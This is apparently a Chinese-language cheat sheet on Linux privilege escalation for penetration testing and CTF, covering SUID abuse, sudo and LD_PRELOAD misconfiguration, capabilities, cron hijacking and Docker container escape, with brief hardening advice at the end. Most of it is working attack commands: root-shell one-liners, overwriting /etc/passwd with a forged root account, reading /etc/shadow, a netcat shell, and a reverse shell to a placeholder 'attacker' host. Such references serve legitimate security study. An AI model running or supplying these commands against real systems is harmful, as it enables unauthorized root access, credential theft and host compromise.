Linux 提权技巧汇总——从 SUID 到容器逃逸
前言
Linux 提权是渗透测试和 CTF 竞赛中最关键的环节之一。从拿到一个低权限 shell 到最终获取 root,中间涉及对系统配置、SUID 可执行文件、计划任务、容器环境等多方面的深入理解和利用。
本文系统地汇总了常见的 Linux 提权技巧:以 SUID 16 法为核心,逐条给出具体的利用命令和原理分析;同时覆盖 sudo 配置错误、capabilities 滥用、cron 任务劫持、Docker 容器逃逸等进阶场景。最后提供自动枚举工具速查和防御建议,方便在实际攻防中快速查阅。
一、SUID 提权 16 法
SUID(Set owner User ID upon execution)是 Linux 中的一种特殊权限:当一个可执行文件带有 SUID 位(chmod u+s)时,任何用户执行该文件时都会以文件所有者的身份运行。如果文件所有者是 root,那么程序执行期间就拥有 root 权限。
查找系统中有哪些 SUID 文件:
1 | find / -perm -u=s -type f 2>/dev/null |
以下是 16 种常见 SUID 可执行文件的提权方法。
1. cp + 命令注入提权
场景:cp 命令以 root 权限运行,存在命令注入点。
假设如下定时脚本(start.sh)以 root 身份运行:
1 | cd /var/www/html/primary |
cp 命令是 root 权限的。在 /var/www/html/primary 里面建立一个指向 flag 的软链接,在 /var/www/html/marstream/ 里面 cat,看不到,因为 cp 命令本身复制链接本身,不会跟随内容,cat 的时候由于 www-data 用户没有任何权限,所以看不到。这里想办法在 cp 的时候直接跟随链接文件把 flag 带出来,利用 -H 选项实现命令注入:
1 | cd /var/www/html/primary/ |
原理:cp * 的时候相当于 cp -P -H ff /var/www/html/marstream/,把 flag 带出来了。
2. nmap 提权
老版本的 nmap 有交互模式,当 nmap 这个命令有 SUID 权限时可以直接提权:
1 | nmap --interactive |
3. find 提权
1 | touch test |
反弹 shell:
1 | find test -exec netcat -lvp 5555 -e /bin/sh \; |
4. vi / vim 提权
打开 vim,按下 ESC:
1 | :set shell=/bin/sh |
或者一行命令直接提权:
1 | sudo vim -c '!sh' |
5. bash 提权
1 | bash -p |
-p 参数告诉 bash 不要丢弃特权(以 SUID 方式运行时,bash 默认会 drop 掉 euid)。
6. less 提权
1 | less /etc/passwd |
当你在阅读文件内容时,按下 ! 键。这时屏幕底部会出现一个提示符,等待你输入系统命令。
7. more 提权
1 | more /home/pelle/myfile |
同 less,按下 ! 键后输入命令即可。
8. cp 覆盖 /etc/passwd 提权
通过覆盖 /etc/shadow 或 /etc/passwd 来添加一个 root 权限账号:
1 | cat /etc/passwd >passwd |
9. nano 提权
1 | nano /etc/passwd |
同 cp 覆盖 /etc/passwd 方法,直接编辑添加用户。
10. awk 提权
1 | awk 'BEGIN {system("/bin/sh")}' |
awk:本是一个强大的文本处理工具。BEGIN { ... }:这是 awk 的一个特殊模式。它包含的代码会在 awk 读取任何输入文件之前立即执行。这意味着你甚至不需要指定目标文件,命令就能运行。system("/bin/sh"):这是 awk 的内置函数,用于调用底层的操作系统命令。在这里,它被用来直接启动一个 Shell(/bin/sh)。
11. man 提权
1 | man passwd |
同 vi/less,在 man 页面中通过 ! 执行系统命令。
12. wget 提权
1 | wget http://192.168.56.1:8080/passwd -O /etc/passwd |
和 cp 覆盖一样,在 VPS 上面写一个 /etc/passwd 文件。在这个伪造的文件里,添加一行:
1 | hack:$1$hash...:0:0::/root:/bin/bash |
命令执行后就覆盖了系统的 /etc/passwd。
13. apache 提权
仅可查看文件,不能弹 shell:
1 | apache2 -f /etc/shadow |
读取文件,然后同 cat 使用。
14. tcpdump 提权
1 | echo $'id\ncat /etc/shadow' > /tmp/.test |
利用 tcpdump 的 -z 选项执行后处理脚本,搭配 -Z 指定以 root 身份运行。
15. Python / Perl / Ruby / Lua / PHP 等脚本语言提权
Python:
1 | python -c "import os;os.system('/bin/bash')" |
Perl:
1 | exec "/bin/bash"; |
其他脚本语言(Ruby、Lua、PHP 等)同理,只要该语言的解释器带有 SUID 位,就可以通过一行脚本执行系统命令。
16. Maven 提权
当 mvn 这个命令有 SUID 权限时,可以通过 Java Agent 机制执行任意命令。
Java Agent 必须是 jar 包。
1 | cd /tmp |
接下来写好 Java Shell 代码,Agent.java:
1 | import java.lang.instrument.Instrumentation; |
写入 MANIFEST.MF 文件,告诉 jar 包入口类是什么:
1 | cat > MANIFEST.MF <<'EOF' |
1 | javac Agent.java |
执行流程解析:
- 当你在命令行输入
mvn -v时,JVM 会先加载你的agent.jar。 - JVM 找到
MANIFEST.MF中指定的类,并立即调用它的premain方法。 - 只有当
premain方法执行完毕(或者报错)后,Maven 自己的main方法才会开始运行。
补充:Maven 插件提权(pom.xml 方式)
写入 pom.xml 给 Maven 安装插件执行命令:
1 |
|
执行:
1 | sudo mvn exec:exec |
二、sudo 配置错误提权
2.1 枚举 sudo 权限
1 | sudo -l |
查看当前用户能以 root 身份执行哪些命令。这是提权前最优先执行的命令。
2.2 LD_PRELOAD 劫持
如果 sudo -l 显示可以保留 LD_PRELOAD 环境变量(env_keep+=LD_PRELOAD),则可以劫持共享库:
1 | // shell.c |
1 | gcc -fPIC -shared -nostartfiles -o shell.so shell.c |
2.3 通配符注入
当某条 sudo 规则允许执行带通配符的命令时,可以滥用文件名注入:
1 | # 假设 sudo -l 显示: (root) NOPASSWD: /usr/bin/rsync * |
三、capabilities 提权
Linux capabilities 将 root 的权限细分为多个独立的单元。某些程序被赋予了特定的 capability 而没有完整的 SUID 权限,但仍然可以用于提权。
枚举具备 capabilities 的文件:
1 | getcap -r / 2>/dev/null |
3.1 cap_setuid 提权
如果 Python 拥有 cap_setuid+ep,可以直接设置 UID 为 0:
1 | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
3.2 cap_chown 提权
可以修改任意文件的所有者:
1 | # 将 /etc/shadow 的所有者改为当前用户,然后读取 |
3.3 cap_dac_read_search 提权
绕过文件读取权限检查,直接读取任意文件:
1 | tar cvf /dev/null /etc/shadow 2>&1 |
3.4 cap_sys_ptrace 提权
可以调试(ptrace)任意进程,注入 shellcode:
1 | # 注入到 root 运行的进程 |
四、cron 任务劫持
4.1 枚举 cron 任务
1 | cat /etc/crontab |
4.2 可写 cron 脚本劫持
如果 cron 任务调用的脚本对当前用户可写:
1 | echo 'bash -i >& /dev/tcp/attacker/4444 0>&1' >> /path/to/writable/cron/script.sh |
4.3 PATH 劫持
如果 cron 任务使用了相对路径,可以劫持 PATH 环境变量:
1 | # 在 cron PATH 中靠前的可写目录放置恶意同名脚本 |
4.4 通配符注入 cron 任务
如果 cron 任务中使用了 tar、rsync 等命令配合通配符,可以利用文件名注入执行命令:
1 | # 创建一个名为 "--checkpoint=1" 的文件 |
五、Docker 容器逃逸基础
5.1 Docker Socket 挂载
如果容器内挂载了 Docker socket(/var/run/docker.sock),可以在容器内操作宿主机 Docker:
1 | # 查看宿主机容器 |
5.2 特权模式逃逸(–privileged)
特权容器可以直接挂载宿主机磁盘:
1 | fdisk -l |
5.3 cap_sys_admin + 设备访问
如果有 cap_sys_admin 能力且可以访问设备文件:
1 | mkdir /tmp/mnt |
5.4 cgroup notify_on_release 逃逸
经典容器逃逸 payload——利用 cgroup 的 notify_on_release 机制在宿主机执行命令:
1 | mkdir /tmp/cgrp |
六、自动枚举工具
6.1 linpeas
最全面的 Linux 提权枚举脚本,一键扫描 SUID、sudo、capabilities、cron、Docker 等所有提权路径:
1 | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh |
6.2 pspy
无需 root 权限即可监控进程,用来发现隐藏的 cron 任务或定时脚本:
1 | # 从 https://github.com/DominicBreuker/pspy/releases 下载 |
6.3 GTFObin 速查
当发现某个有 SUID 或 sudo 权限的命令时,直接在 GTFObin 上查找利用方法:
1 | # 使用 curl 或浏览器访问: |
七、速查表
按命令索引的快速查找表,当发现某个命令有 SUID / sudo 权限时直接定位利用方法:
| 命令 | 提权方式 | 命令示例 |
|---|---|---|
bash |
保留特权启动 | bash -p |
sh |
保留特权启动 | sh -p |
find |
-exec |
find x -exec /bin/sh -p \; |
vim |
:shell |
vim -c ':!/bin/bash -p' |
vi |
:shell |
同上 |
less |
!/bin/sh |
less /etc/passwd 后输入 !/bin/sh |
more |
!/bin/sh |
同 less |
man |
!/bin/sh |
同 less |
nano |
编辑 passwd | nano /etc/passwd |
cp |
覆盖 passwd | cp passwd /etc/passwd |
wget |
远程覆盖文件 | wget http://attacker/passwd -O /etc/passwd |
nmap |
交互模式 | nmap --interactive 后 !sh |
awk |
system() |
awk 'BEGIN {system("/bin/sh")}' |
tcpdump |
-z 后处理 |
tcpdump -ln -i any -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root |
apache |
读取文件 | apache2 -f /etc/shadow |
python |
os.system |
python -c "import os;os.system('/bin/sh')" |
perl |
exec |
perl -e 'exec "/bin/sh"' |
lua |
os.execute |
lua -e 'os.execute("/bin/sh")' |
ruby |
system |
ruby -e 'system("/bin/sh")' |
php |
system |
php -r 'system("/bin/sh");' |
mvn |
Java Agent | 通过 .mvn/jvm.config 注入 agent.jar |
八、防御建议
最小化 SUID 使用:定期审查系统中的 SUID 文件,移除不必要的 SUID 位。生产环境中避免给
find、vim、less等交互式工具设置 SUID。规范 sudo 配置:
/etc/sudoers中严格限定可执行的命令,避免通配符规则,确保env_reset开启防止环境变量注入。capabilities 替代 SUID:使用
capabilities为程序赋予最小特权集,而不是直接给 SUID root,降低攻击面。例如cap_net_raw+ep替代完全 root 权限运行tcpdump。审计 cron 任务:确保 cron 脚本权限仅对 root 可写,使用绝对路径调用命令,避免通配符使用。
Docker 安全加固:避免挂载 Docker socket 到容器,避免使用
--privileged,使用seccomp/AppArmor限制容器系统调用。定期扫描:配合
linpeas等工具定期审计系统,及时发现异常配置。